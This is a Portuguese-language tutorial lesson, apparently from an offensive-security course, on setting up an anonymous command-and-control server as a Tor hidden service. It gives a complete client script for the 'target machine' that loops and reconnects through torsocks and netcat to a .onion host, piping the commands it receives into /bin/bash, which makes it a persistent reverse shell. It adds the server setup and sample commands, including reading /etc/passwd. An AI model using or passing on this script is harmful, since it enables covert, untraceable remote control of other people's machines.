Aula 126 | C&C no tor

Aula 126 | C&C no tor

O que é um Servidor C2?

Um C2 (Command and Control) é um servidor usado para controlar máquinas remotamente, geralmente em contextos de administração, automação ou simulações ofensivas em ambientes controlados.

Ele funciona como uma central que envia comandos para máquinas conectadas e recebe as saídas desses comandos em tempo real. Em ambientes de segurança ofensiva (como testes de penetração), C2s são utilizados para demonstrar cenários reais de comprometimento e movimentação lateral dentro de redes.

Ferramentas Usadas

Bash

Bash é o shell padrão da maioria das distribuições Linux. Com ele, podemos automatizar tarefas, escrever scripts e controlar completamente um sistema.

Netcat

O Netcat, também chamado de “canivete suíço da rede”, é uma ferramenta poderosa de linha de comando que permite:

  • Criar conexões TCP/UDP simples.

  • Enviar e receber dados.

  • Estabelecer shells reversos.

  • Montar servidores básicos de escuta.

Tor

O Tor (The Onion Router) é uma rede de anonimato que:

  • Encaminha o tráfego por múltiplos nós.

  • Permite acesso a serviços ocultos (como sites .onion).

  • Garante que o IP real do servidor nunca seja exposto.

Com o Tor, criamos um Hidden Service acessível pela dark web com total anonimato.

Como funciona nosso projeto?

Nesta aula, mostrei como transformar um servidor Ubuntu em um C2 oculto que escuta conexões usando o Netcat via Tor. O cliente se conecta usando um script em Bash, e ao se conectar, o servidor pode enviar comandos ao cliente em tempo real, de forma anônima.


Scripts utilizados

Cliente (máquina alvo)

#!/bin/bash

echo "[*] Conectando ao servidor C2 via Tor..."

while true; do
    if [ ! -p /tmp/fifo ]; then
        mkfifo /tmp/fifo
    fi

    echo "[*] Tentando conexão..."

    torsocks nc netcat.onion 4444 < /tmp/fifo | /bin/bash > /tmp/fifo

    echo "[!] Conexão perdida. Tentando novamente em 5 segundos..."
    rm -f /tmp/fifo
    sleep 5
done

Este script:

  1. Usa torsocks para enviar todo o tráfego via Tor.

  2. Usa nc (Netcat) para conectar ao servidor C2.

  3. Usa um pipe com FIFO para simular interatividade.

  4. Executa comandos vindos do servidor em /bin/bash.

Configurando o C2 (servidor)

1. Instalar Tor e Netcat

sudo apt update && sudo apt install tor netcat -y

2. Configurar o serviço oculto

Edite o arquivo:

sudo nano /etc/tor/torrc

Adicione:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 4444 127.0.0.1:4444

3. Reinicie o Tor

sudo systemctl restart tor

4. Descubra seu domínio .onion

cat /var/lib/tor/hidden_service/hostname

5. Inicie o servidor C2

nc -lvnp 4444

Pronto! Você pode começar a enviar comandos como:

  • whoami: mostra o usuário atual.

  • uname -a: informações do sistema.

  • ls -lah /: lista os arquivos no diretório raiz.

  • cat /etc/passwd: visualiza os usuários do sistema.

Alternativas a essa abordagem

Embora Bash + Netcat seja uma forma simples e poderosa, existem outras formas mais complexas de montar servidores C2:

Tecnologia Descrição
Python Scripts mais estruturados, com suporte a HTTP, criptografia e automação.
C/C++ Binários mais leves e difíceis de detectar, usados em malwares reais.
C2 Frameworks Ferramentas como Cobalt Strike, Sliver, Mythic, etc.
Metasploit Abordagem automatizada com integração de payloads e listeners.

No entanto, todas essas técnicas exigem mais preparação e complexidade. A que usamos aqui é ideal para demonstrações simples, educativas e rápidas de como um C2 pode funcionar anonimamente via Tor.

 

Sugestões de Aulas

Aula 127 | MacOS e C2 via tor

Ver Aula

Aula 125 | Exposição no .onion

Ver Aula

Aula 105 | Criar Cloud de arquivos anônimo

Ver Aula